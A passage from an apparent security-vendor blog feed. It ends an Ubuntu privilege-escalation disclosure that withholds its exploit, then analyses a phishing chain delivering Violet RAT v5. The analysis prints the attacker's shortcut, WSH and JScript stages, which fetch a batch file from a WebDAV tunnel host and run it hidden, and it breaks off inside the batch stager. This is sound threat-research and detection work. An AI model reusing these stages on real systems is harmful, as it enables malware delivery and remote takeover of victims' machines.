The vulnerability is a two-bug chain that allows any local user to obtain a root shell with a single D-Bus call. The first bug is an incomplete privilege drop in AccountsService, which sets only the effective UID to the unprivileged user before launching Ubuntu language helper scripts. The second bug is a shell injection by attacker controlled input.
However, a successful exploitation requires that at least one non-English language pack is installed on the system.&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof-of-Concept&lt;/h3&gt;

&lt;p&gt;Currently we do not share detailed technical information on the exploitation or a proof-of-concept (PoC) for the vulnerabilities, as this could be misused by malicious actors.
We plan to update this blog post with a technical write-up at a later time.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/SetRootLanguage/SetRootLanguage-poc.png&quot; alt=&quot;SetRootLanguage PoC&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;advisories&quot;&gt;Advisories&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/CVE-2026-61897&quot;&gt;CVE-2026-61897&lt;/a&gt;: AccountsService sets only effective UID before launching Ubuntu language helpers, leaving real UID as root and allowing any subsequently spawned shell to regain full root credentials&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/CVE-2026-61898&quot;&gt;CVE-2026-61898&lt;/a&gt;: Ubuntu language helper scripts embed unsanitized attacker-controlled input, enabling shell injection via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt; execute flag (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/e&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;p&gt;The vulnerability chain was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems.&lt;/p&gt;

&lt;p&gt;If you have questions regarding this research or are interested in our &lt;a href=&quot;https://telekom.de/security&quot;&gt;security offerings&lt;/a&gt;, including Red Team assessments, feel free to contact &lt;span class=&quot;obf&quot; data-obf=&quot;Y21Wa2RHVmhiVUIwWld4bGEyOXRMbVJs&quot;&gt;[loading (JS)…]&lt;/span&gt;.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;2026-06-23: Initial vulnerability report to Canonical/Ubuntu Security Team.&lt;/li&gt;
  &lt;li&gt;2026-06-24: Acknowledgment of receipt and initial triage.&lt;/li&gt;
  &lt;li&gt;2026-07-13: &lt;a href=&quot;https://ubuntu.com/security/CVE-2026-61897&quot;&gt;CVE-2026-61897&lt;/a&gt; and &lt;a href=&quot;https://ubuntu.com/security/CVE-2026-61898&quot;&gt;CVE-2026-61898&lt;/a&gt; have been assigned to the issues.&lt;/li&gt;
  &lt;li&gt;2026-07-21: Coordinated responsible disclosure: Canonical releases patches and this blog post is published.&lt;/li&gt;
  &lt;li&gt;2026-07-27: Added fixed package for Ubuntu 26.10 (stonking)&lt;/li&gt;
&lt;/ul&gt;

&lt;style&gt;
.content {
    display: block;
    text-align: justify;
}

.img-small {
  width: 80%;
  max-width: 100%;
  height: auto;
}

table {
  width: 100%;
  border-collapse: collapse;
  margin: 1.5em 0;
  font-size: 0.95em;
}

th, td {
  padding: 0.6em 1em;
  text-align: left;
  border-bottom: 1px solid #e0e0e0;
}

th {
  background: #f5f5f5;
  font-weight: 600;
  border-bottom: 2px solid #ccc;
}

tr:hover {
  background: #fafafa;
}
&lt;/style&gt;

&lt;script&gt;
document.addEventListener(&quot;DOMContentLoaded&quot;, () =&gt; {
  setTimeout(() =&gt; {
    document.querySelectorAll(&quot;.obf&quot;).forEach(el =&gt; {
      const encoded = el.dataset.obf;
      try {
        const decoded = atob(atob(encoded));
        el.textContent = decoded;
      } catch (e) {
        el.textContent = &quot;unknown&quot;;
      }
    });
  }, 1500);
});
&lt;/script&gt;

</content>
  </entry>
  
  <entry>
    <title>From Dropbox to Violet RAT v5: A Multi-Stage WebDAV Delivery Chain</title>
    <link href="https://github.security.telekom.com/2026/07/rodent_weed.html"/>
    <id>https://github.security.telekom.com/2026/07/rodent_weed.html</id>
    <updated>2026-07-07T00:00:00+00:00</updated>
    <summary type="html">Threat activity clusters rarely remain static over time. Delivery methods, lure formats, and payload choices often change between campaigns, while the underlying tradecraft remains stable enough to support tracking and detection. This report covers activity that Telekom Security tracks as Rodent Weed. We have monitored this cluster since 2024 and across observed campaigns, the first-stage wrapper has varied, including SVG attachments, HTML files, and, more recently, Dropbox links. Some campaigns presented victims with a convincing decoy PDF, while others omitted the decoy entirely. The final payload has also rotated across commodity remote access trojans (RATs) and information stealers. Despite these variations, the core execution chain has remained consistent. A document-themed lure transitions the victim from the browser to Windows Explorer, where a WebDAV share is accessed via a temporary TryCloudflare tunnel. A shortcut or script then initiates the next stage, batch files prepare the environment, a portable Python runtime is deployed to disk, and the final payload is executed in memory.</summary>
    <content type="html">&lt;p&gt;Threat activity clusters rarely remain static over time. Delivery methods, lure formats, and payload choices often change between campaigns, while the underlying tradecraft remains stable enough to support tracking and detection. 
This report covers activity that Telekom Security tracks as Rodent Weed. We have monitored this cluster since 2024 and across observed campaigns, the first-stage wrapper has varied, including SVG attachments, HTML files, and, more recently, Dropbox links. Some campaigns presented victims with a convincing decoy PDF, while others omitted the decoy entirely. The final payload has also rotated across commodity remote access trojans (RATs) and information stealers.&lt;/p&gt;

&lt;p&gt;Despite these variations, the core execution chain has remained consistent. A document-themed lure transitions the victim from the browser to Windows Explorer, where a WebDAV share is accessed via a temporary TryCloudflare tunnel. A shortcut or script then initiates the next stage, batch files prepare the environment, a portable Python runtime is deployed to disk, and the final payload is executed in memory. &lt;!--more--&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;rodent-weed---cluster-definition-and-observed-tradecraft&quot;&gt;Rodent Weed - Cluster Definition and Observed Tradecraft&lt;/h2&gt;

&lt;p&gt;Rodent Weed is the tracking name Telekom Security uses for a recurring phishing operation observed since 2024. The activity has continued to evolve over time, with changes to lure formats, delivery wrappers, and final payloads. This report represents the latest checkpoint in that ongoing tracking effort.&lt;/p&gt;

&lt;p&gt;Across observed campaigns, Rodent Weed has primarily varied the initial wrapper and final payload, while the intermediate staging and execution workflow has remained largely consistent.&lt;/p&gt;

&lt;p&gt;In 2024, the activity was observed using SVG attachments as the initial wrapper. These files contained a small amount of Base64-encoded JScript that displayed a decoy PDF and directed the victim to a WebDAV share opened in Windows Explorer. From there, a .pdf.lnk file using an invoice-themed filename downloaded Python and executed the payload.
In early 2025, the operator introduced new wrapper formats in quick succession. One campaign used an HTML file assessed as likely abusing CVE-2024-38213 to bypass Mark-of-the-Web protections before reaching a similar WebDAV share and deploying both DcRAT and AsyncRAT. Another campaign used a ZIP archive containing a .url shortcut, which led through a .pdf.lnk file and VBScript before delivering XWorm and AsyncRAT.&lt;/p&gt;

&lt;p&gt;By mid-2025, Dropbox began appearing as the hosting infrastructure, while the campaigns continued to rotate across commodity RAT payloads.&lt;/p&gt;

&lt;p&gt;By December 2025 the chain had grown an extra hop or two, a Dropbox &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.zip&lt;/code&gt; opening a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.lnk&lt;/code&gt;, then a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wsh&lt;/code&gt;, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wsf&lt;/code&gt;, VBScript, and a batch loader, and it finished by dropping four binaries at once, a stealer, two copies of XWorm, and AsyncRAT. In March 2026 a Telekom-themed wave put a convincing decoy PDF back in front of the victim and labelled its payloads by role, stager, startup, and malware.&lt;/p&gt;

&lt;p&gt;Across these waves, the intermediate staging and execution workflow remained largely consistent. Explorer opens a WebDAV share over a TryCloudflare tunnel, a script and batch chain unrolls, a portable Python runtime lands, and Donut runs the real payload in memory. Only the wrapper and the final RAT typically change.&lt;/p&gt;

&lt;p&gt;This recurring pattern is also visible outside our own telemetry. Other vendors have independently documented overlapping delivery chains over the past year. Forcepoint X-Labs described the Dropbox to TryCloudflare WebDAV to Python variant in early 2025. Trend Micro published a multi-stage analysis in January 2026 that lines up closely with what we have seen, though we did not observe the browser cookie injection they reported. This difference reinforces that individual waves can vary in implementation details. Securonix documented the embedded Python loader and in-memory injection into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; under the name VOID#GEIST, and SonicWall analyzed a Violet RAT campaign built on the same multi-stage Python loader, calling home on the same C2 port we observed here. Links are in &lt;a href=&quot;#related-reporting&quot;&gt;Related reporting&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;key-observations&quot;&gt;Key Observations&lt;/h2&gt;

&lt;p&gt;The campaign analyzed in this report was observed in late March 2026 and used Telekom invoice-themed phishing emails to deliver Violet RAT v5. The execution chain from initial lure to C2 communication is described below.&lt;/p&gt;

&lt;p&gt;The victim received a phishing email containing a link to a Dropbox-hosted ZIP archive, which contained a single Windows Internet Shortcut (.url). When opened, the shortcut directed Windows Explorer to a WebDAV share exposed through a temporary TryCloudflare tunnel, where a PDF-disguised shortcut initiated the next stage of execution. From that point, the chain progressed through Windows Script Host (WSH), JScript, batch files, an embedded Python runtime including a Python loader, and Donut-based injection into explorer.exe.&lt;/p&gt;

&lt;p&gt;The Python loader established persistence via the Startup folder and ultimately delivered Violet RAT v5, which connected to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140:7000&lt;/code&gt;, transmitted an encrypted system profile, and then entered a recurring heartbeat loop.&lt;/p&gt;

&lt;p&gt;Two aspects distinguish this case from previous waves. First, the final payload is Violet RAT v5, marking the first time we have observed this RAT at the end of a Rodent Weed execution chain. Second, the decoy PDF is absent. Earlier Telekom-themed campaigns usually opened a convincing decoy PDF to reduce suspicion while the chain ran, as recently as the February wave. Instead of presenting a benign-looking PDF, the analyzed case proceeds directly to the next execution stage after the victim opens the shortcut. Despite this behavioural change, the subsequent execution chain remained consistent with previously observed Rodent Weed activity.&lt;/p&gt;

&lt;p&gt;One detail is worth flagging early. The phishing email used a Telekom-themed lure, while the file hosted on the WebDAV share was named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;. Previous Rodent Weed analysis has also identified filenames that did not align with the lure theme, including a DATEV-themed filename for example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DATEV-Rechnung-Nr.381082026.wsh&lt;/code&gt;. It suggests the operator reused the same infrastructure and file set across more than one lure.&lt;/p&gt;

&lt;p&gt;Figure 1 summarizes the observed infection chain, from the initial Telekom-themed lure to Violet RAT v5 execution and C2 communication.&lt;/p&gt;

&lt;p class=&quot;space-before-md&quot;&gt;&lt;img src=&quot;/assets/images/RodentWeed/infection-chain.svg&quot; alt=&quot;Infection chain from Telekom invoice lure to Violet RAT v5&quot; class=&quot;img-large&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 1. Infection chain, from phishing lure to Violet RAT v5&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;chain-of-execution&quot;&gt;Chain of Execution&lt;/h2&gt;

&lt;h3 id=&quot;from-the-invoice-mail-to-a-webdav-folder&quot;&gt;From the invoice mail to a WebDAV folder&lt;/h3&gt;

&lt;p&gt;The observed email impersonated Deutsche Telekom with an invoice lure and link to a ZIP archive (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;) hosted on Dropbox. The archive did not contain an invoice but a single Windows Internet Shortcut file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt;), leaving the victim with only one visible item which further reinforced the appearance that a document had been delivered.&lt;/p&gt;

&lt;p&gt;Subject: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ihre Telekom Festnetz-Rechnung Oktober 2025 (Buchungskonto:5605355625)&lt;/code&gt;&lt;br /&gt;
Sender: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom Deutschland GmbH {NoReply} &amp;lt;brendawolfe403[@]gasatmail[.]site&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Figure 2 shows the observed Telekom-themed phishing email, which included fabricated invoice-related identifiers such as customer and invoice numbers to increase credibility. These lure-specific values are redacted in the screenshot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/RodentWeed/mail.png&quot; alt=&quot;Phishing email with Telekom invoice lure&quot; class=&quot;img-xs&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 2. Telekom-themed phishing email that started the analyzed chain&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; file pointed to a WebDAV resource using the Windows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; URL format and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@SSL&lt;/code&gt; suffix.&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;[{000214A0-0000-0000-C000-000000000046}]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;Prop3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;19,9&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;[InternetShortcut]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;IDList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;HotKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;file://move-friendly-international-observed.trycloudflare[.]com@SSL/DavWWWRoot/dokumente?config=eyJwYXRoIjoiY29uZmlkZW50aWFsIiwibW9kZSI6InJlYWQifQ%3D%3D&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 1. Telekom_3426503572.url&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The URL also included a Base64-encoded JSON parameter.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;confidential&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;This parameter does not appear to be required for standard WebDAV access. Based on the observed behaviour, it is likely decorative, operator-specific, or intended as light obfuscation.&lt;/p&gt;

&lt;p&gt;The important part is how the chain reduces user suspicion and avoids browser-mediated download handling. The victim never lands on a normal web page. Windows Explorer opens the remote WebDAV location and presents it as if it were an ordinary folder. The cloud link is presented as a local-looking file browser, while browser-mediated download prompts and reputation checks are less visible to the victim.&lt;/p&gt;

&lt;p&gt;Hosting the share behind &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trycloudflare.com&lt;/code&gt; lets the operator expose a backend service over a temporary HTTPS tunnel without ever registering their own domain. Blocking the resolved Cloudflare edge IPs is not recommended, as this is unlikely to remain effective and may disrupt unrelated legitimate services that rely on the same shared Cloudflare infrastructure. Domain pattern, URL pattern, WebDAV, and process chain detections are far more durable. During manual analysis, the WebDAV endpoint exposed a directory listing, as shown in Figure 3. This allowed the hosted files to be reviewed directly before reconstructing the subsequent execution chain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/RodentWeed/1_webdav.png&quot; alt=&quot;First WebDAV directory view&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 3. WebDAV directory listing observed during manual analysis&lt;/p&gt;

&lt;h3 id=&quot;the-pdf-disguised-as-a-shortcut&quot;&gt;The PDF disguised as a shortcut&lt;/h3&gt;

&lt;p&gt;The WebDAV share presented a single visible file, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;. The name and icon were chosen to look like a PDF document but instead it was a Windows Shortcut that executed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; to run a JScript file hosted on the same WebDAV folder. Separately, the same TryCloudflare-backed WebDAV infrastructure also exposed additional files in the parent directory. Figure 4 shows this parent directory view, which was reviewed during manual analysis and helped identify files used by later stages of the chain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/RodentWeed/2_webdav.png&quot; alt=&quot;Second WebDAV directory view showing the fake PDF LNK&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 4. Parent WebDAV directory exposing additional files used in the execution chain&lt;/p&gt;

&lt;p&gt;The shortcut metadata confirms that the apparent PDF was built to invoke Windows Script Host and execute a remote script from the same WebDAV location.&lt;/p&gt;

&lt;p&gt;Relevant shortcut metadata&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Field&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
      &lt;th&gt;Interpretation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Arguments&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//B \\move-friendly-international-observed.trycloudflare[.]com@SSL\DavWWWRoot\oa.wsh&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Executes a WSH file from WebDAV&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Icon index&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;11&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Visual masquerading as a PDF&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Working directory&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\System32&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Ensures &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; resolves correctly&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Machine ID&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ec2amaz-vjnf8l9&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Consistent with an AWS EC2 Windows hostname pattern&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The machine ID may provide a useful pivot point for further investigation. However, as it can be manipulated, it should be considered a low-confidence indicator. We currently have no supporting data to validate or correlate this identifier with other artefacts.&lt;/p&gt;

&lt;h3 id=&quot;a-short-hop-through-wsh-and-jscript&quot;&gt;A short hop through WSH and JScript&lt;/h3&gt;

&lt;p&gt;The first script stage was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oa.wsh&lt;/code&gt;, a small redirection layer that simply pointed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt; on the same WebDAV share.&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;[ScriptFile]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;move-friendly-international-observed.trycloudflare[.]com@SSL&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\D&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;avWWWRoot&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;cv.js&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;[Options]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;Timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption space-before-sm&quot;&gt;File 2. oa.wsh&lt;/p&gt;

&lt;p&gt;This redirection keeps the shortcut command line concise and separates the primary execution logic from the LNK file. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt; script then used Windows Script Host automation objects to copy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt; from the WebDAV share to the local temporary directory and execute it in a hidden window.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;WScript.Shell&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ExpandEnvironmentStrings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%TEMP%&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;r.bat&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Scripting.FileSystemObject&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CopyFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
       &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;move-friendly-international-observed.trycloudflare[.]com@SSL&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DavWWWRoot&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;final.bat&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
       &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;nx&quot;&gt;Run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 3. ccv.js&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;By this point the process chain looks like this, which is itself a useful detection trail.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;explorer.exe
  -&amp;gt; wscript.exe
    -&amp;gt; ccv.js from WebDAV
      -&amp;gt; %TEMP%\r.bat
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;batch-staging-and-a-portable-python-runtime&quot;&gt;Batch staging and a portable Python runtime&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt; relaunched itself hidden through PowerShell and created its working directory in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\&lt;/code&gt; as shown in the code snippet below.&lt;/p&gt;

&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo &lt;span class=&quot;na&quot;&gt;off&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;~1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;main&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;powershell&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;-WindowStyle &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;Hidden&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;-Command &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Start-Process &apos;&lt;/span&gt;&lt;span class=&quot;vm&quot;&gt;%~f0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&apos; -ArgumentList &apos;hidden&apos; -WindowStyle Hidden&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;:main&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PYTHON_VERSION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;.11.8
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ARCH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;amd64&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;BASEDIR=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%APPDATA%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\Microsoft\Windows\Crypto\RSA\Cache&quot;&lt;/span&gt;
